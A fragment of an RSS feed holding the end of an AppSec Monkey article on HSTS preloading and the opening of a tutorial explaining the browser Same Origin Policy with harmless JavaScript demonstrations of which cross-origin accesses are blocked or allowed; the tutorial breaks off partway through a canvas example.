&lt;span class="na"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;max-age=63072000; includeSubDomains; preload&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Also, your domain must return a valid TLS certificate on the HTTPS port (443) and redirect to HTTPS on port 80 (if port 80 is enabled).&lt;/p&gt;

&lt;p&gt;When you meet these requirements, go to &lt;a href="https://hstspreload.org/" rel="noopener noreferrer"&gt;https://hstspreload.org/&lt;/a&gt; and submit your domain like so:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyre001ol2sivsdzmijfb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyre001ol2sivsdzmijfb.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;HTTPS is not enough to protect the users of your web application from network attacks. And as long as there are unencrypted websites on the Internet, browser vendors cannot merely disable unencrypted connections altogether.&lt;/p&gt;

&lt;p&gt;Luckily there is an opt-in mechanism for websites that don't want any unencrypted connections. And that is the HSTS header.&lt;/p&gt;

&lt;p&gt;When implementing HSTS in production, it's best to start with a slow &lt;code&gt;max-age&lt;/code&gt; and slowly ramp it up.&lt;/p&gt;

&lt;p&gt;Finally, it's possible (and highly recommended) to preload your HSTS header into the major web browser's source code by submitting your domain to hstspreload.org. But think it through before you do so; canceling is a slow and painful process.&lt;/p&gt;

&lt;h2&gt;
  
  
  Get the web security checklist spreadsheet!
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3iqd1ef4a5a0icyvvk65.jpg" alt="Subscribe"&gt;&lt;/a&gt;&lt;br&gt;
 ☝️ &lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;Subscribe&lt;/a&gt; to AppSec Monkey's email list, get our best content delivered straight to your inbox, and &lt;b&gt;get our 2021 Web Application Security Checklist Spreadsheet for FREE&lt;/b&gt; as a welcome gift!&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't stop here
&lt;/h2&gt;

&lt;p&gt;If you like this article, check out the other application security guides we have on &lt;a href="https://www.appsecmonkey.com/" rel="noopener noreferrer"&gt;AppSec Monkey&lt;/a&gt; as well.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>programming</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Same Origin Policy: Demystified</title>
      <dc:creator>Teo Selenius</dc:creator>
      <pubDate>Thu, 04 Mar 2021 08:22:49 +0000</pubDate>
      <link>https://forem.com/appsecmonkey/same-origin-policy-demystified-1ld</link>
      <guid>https://forem.com/appsecmonkey/same-origin-policy-demystified-1ld</guid>
      <description>&lt;p&gt;The original article is here: &lt;a href="https://www.appsecmonkey.com/blog/same-origin-policy/" rel="noopener noreferrer"&gt;Same Origin Policy on AppSec Monkey&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is the Same Origin Policy?
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Same Origin Policy&lt;/em&gt; is a set of design principles that govern how web browser features are implemented.&lt;/p&gt;

&lt;p&gt;Its purpose is to isolate browser windows (and tabs) from each other so that, for example, when you go to example.com, the website will not be able to read your emails from gmail.com, which you may have open in another tab.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is an Origin?
&lt;/h2&gt;

&lt;p&gt;The definition of an origin is simple. Two websites are of the same origin if their scheme (http://, https://, etc.), host (e.g., &lt;a href="http://www.appsecmonkey.com" rel="noopener noreferrer"&gt;www.appsecmonkey.com&lt;/a&gt;), and port (e.g., 443) are the same. You can find the definition in &lt;a href="https://tools.ietf.org/html/rfc6454" rel="noopener noreferrer"&gt;RFC6545 - The Web Origin Concept&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuxk3ggproqcbue90mh1l.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuxk3ggproqcbue90mh1l.jpg" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Implicit ports
&lt;/h3&gt;

&lt;p&gt;If the port is not explicitly specified, it's implicitly 80 for &lt;code&gt;http&lt;/code&gt; and 443 for &lt;code&gt;https&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Examples
&lt;/h3&gt;

&lt;p&gt;These URIs are considered to be of the &lt;em&gt;same&lt;/em&gt; origin: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://www.appsecmonkey.com/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://www.appsecmonkey.com/blog/same-origin-policy/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://www.appsecmonkey.com:443/blog/same-origin-policy/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And these are all of &lt;em&gt;different&lt;/em&gt; origins: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http://www.appsecmonkey.com/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://appsecmonkey.org/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://www.appsecmonkey.com:8080/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is allowed by the same-origin policy, and what is not?
&lt;/h2&gt;

&lt;p&gt;In general, writing is allowed, and reading is denied. How exactly this applies depends on the browser feature, so let's see some examples.&lt;/p&gt;

&lt;h2&gt;
  
  
  JavaScript Window Access
&lt;/h2&gt;

&lt;p&gt;There are many ways in which a website can get a handle to another window. However, you can restrict this by using a &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cross-Origin-Opener-Policy" rel="noopener noreferrer"&gt;COOP (Cross-Origin Opener Policy)&lt;/a&gt; and the &lt;code&gt;frame-ancestors&lt;/code&gt; directive of &lt;a href="https://www.appsecmonkey.com/blog/content-security-policy-header/" rel="noopener noreferrer"&gt;CSP (Content Security Policy)&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;These methods include: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Using &lt;code&gt;window.open&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Creating a frame (like we're about to).&lt;/li&gt;
&lt;li&gt;Using &lt;code&gt;window.opener&lt;/code&gt; if the website is framed by another.&lt;/li&gt;
&lt;li&gt;Received postMessage &lt;code&gt;event.source&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This handle provides access to stripped-down versions of the &lt;code&gt;window&lt;/code&gt; and &lt;code&gt;location&lt;/code&gt; objects.&lt;/p&gt;

&lt;p&gt;Let's run some experiments on &lt;a href="http://a.local" rel="noopener noreferrer"&gt;http://a.local&lt;/a&gt;. We'll start by getting a window handle to &lt;a href="http://b.local" rel="noopener noreferrer"&gt;http://b.local&lt;/a&gt; by creating a cross-origin frame like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;crossOriginFrame&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;iframe&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;crossOriginFrame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://b.local&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;crossOriginFrame&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;handle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crossOriginFrame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;contentWindow&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now let's see what we can do with it.&lt;/p&gt;

&lt;h3&gt;
  
  
  ❌ Not allowed: Read cross-origin content
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nx"&gt;Uncaught&lt;/span&gt; &lt;span class="nx"&gt;DOMException&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Blocked&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;frame&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://a.local&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;accessing&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;cross&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ❌ Not allowed: Write cross-origin content
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;h1&amp;gt;Hacked&amp;lt;/h1&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nx"&gt;Uncaught&lt;/span&gt; &lt;span class="nx"&gt;DOMException&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Blocked&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;frame&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://a.local&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;accessing&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;cross&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ✅ Allowed: Read the number of frames within the cross-origin window
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;frames&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="err"&gt;✅&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;☠ Security Impact&lt;/strong&gt;: &lt;br&gt;
Being able to count the frames enables the &lt;a href="https://xsleaks.dev/docs/attacks/frame-counting/" rel="noopener noreferrer"&gt;frame counting&lt;/a&gt; cross-site leak attack.&lt;/p&gt;
&lt;h3&gt;
  
  
  ❌ Not allowed: Read cross-origin URI
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nx"&gt;Uncaught&lt;/span&gt; &lt;span class="nx"&gt;DOMException&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Blocked&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;frame&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://a.local&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;accessing&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;cross&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  ✅ Allowed: Write cross-origin URI
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://www.example.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ueg7fwkiehxl1dy9fu6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ueg7fwkiehxl1dy9fu6.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;☠ Security Impact&lt;/strong&gt;: &lt;br&gt;
Websites that you frame on your website can get a window handle to it via the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/opener" rel="noopener noreferrer"&gt;window.opener&lt;/a&gt; property. This means that if you load a malicious website in an iframe on your website, the frame can change the URI of your site into, e.g., a phishing page (clone of your page that, e.g., steals your users' passwords or makes them download something malicious). You can prevent this using &lt;a href="https://www.w3schools.com/tags/att_iframe_sandbox.asp" rel="noopener noreferrer"&gt;sandboxed iframes&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  ✅ Allowed: Messaging to the window via postMessage
&lt;/h3&gt;

&lt;p&gt;The &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage" rel="noopener noreferrer"&gt;postMessage&lt;/a&gt; method allows cross-origin windows to communicate with each other.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// on http://b.local/&lt;/span&gt;
&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;message&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Got message: &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// on http://a.local/&lt;/span&gt;
&lt;span class="nx"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;postMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hello&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://b.local&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcmndcda1xrc80gs2t2xu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcmndcda1xrc80gs2t2xu.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  ❌ Not allowed: Read localStorage or sessionStorage
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nx"&gt;Uncaught&lt;/span&gt; &lt;span class="nx"&gt;DOMException&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Blocked&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;frame&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://a.local&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;accessing&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;cross&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nx"&gt;Uncaught&lt;/span&gt; &lt;span class="nx"&gt;DOMException&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Blocked&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;frame&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://a.local&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;accessing&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;cross&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Resource Embedding and JavaScript Access
&lt;/h2&gt;

&lt;p&gt;In general, embedding any resource (image, style, script, etc.) is allowed cross-origin, but JavaScript cannot directly access the resource. However, you can restrict this with a &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cross-Origin_Resource_Policy_(CORP)" rel="noopener noreferrer"&gt;CORP (Cross-Origin Resource Policy)&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Furthermore, when embedding resources, the browser user's cookies for the embedded resource's site are sent along with the request. Effectively this allows websites to send credentialed (with cookies) cross-site GET and HEAD requests.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;☠ Security Impact&lt;/strong&gt;: &lt;br&gt;
The fact that browsers send cookies along with these requests enables &lt;a href="https://www.appsecmonkey.com/blog/csrf-attack-and-prevention/" rel="noopener noreferrer"&gt;CSRF (Cross-Site Request Forgery)&lt;/a&gt; attacks if your website allows performing actions (e.g., transfer money, change password, delete account) via GET requests (which it, of course, shouldn't).&lt;/p&gt;

&lt;p&gt;Let's see a couple of examples of cross-site resources.&lt;/p&gt;
&lt;h3&gt;
  
  
  ✅ Allowed: Displaying an image
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"cross-origin-image"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://b.local/monkey.png"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  ✅ Allowed: Create a canvas from the image
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;crossOriginImage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;cross-origin-image&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;canvas&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crossOriginImage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;height&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crossOriginImage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;height&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
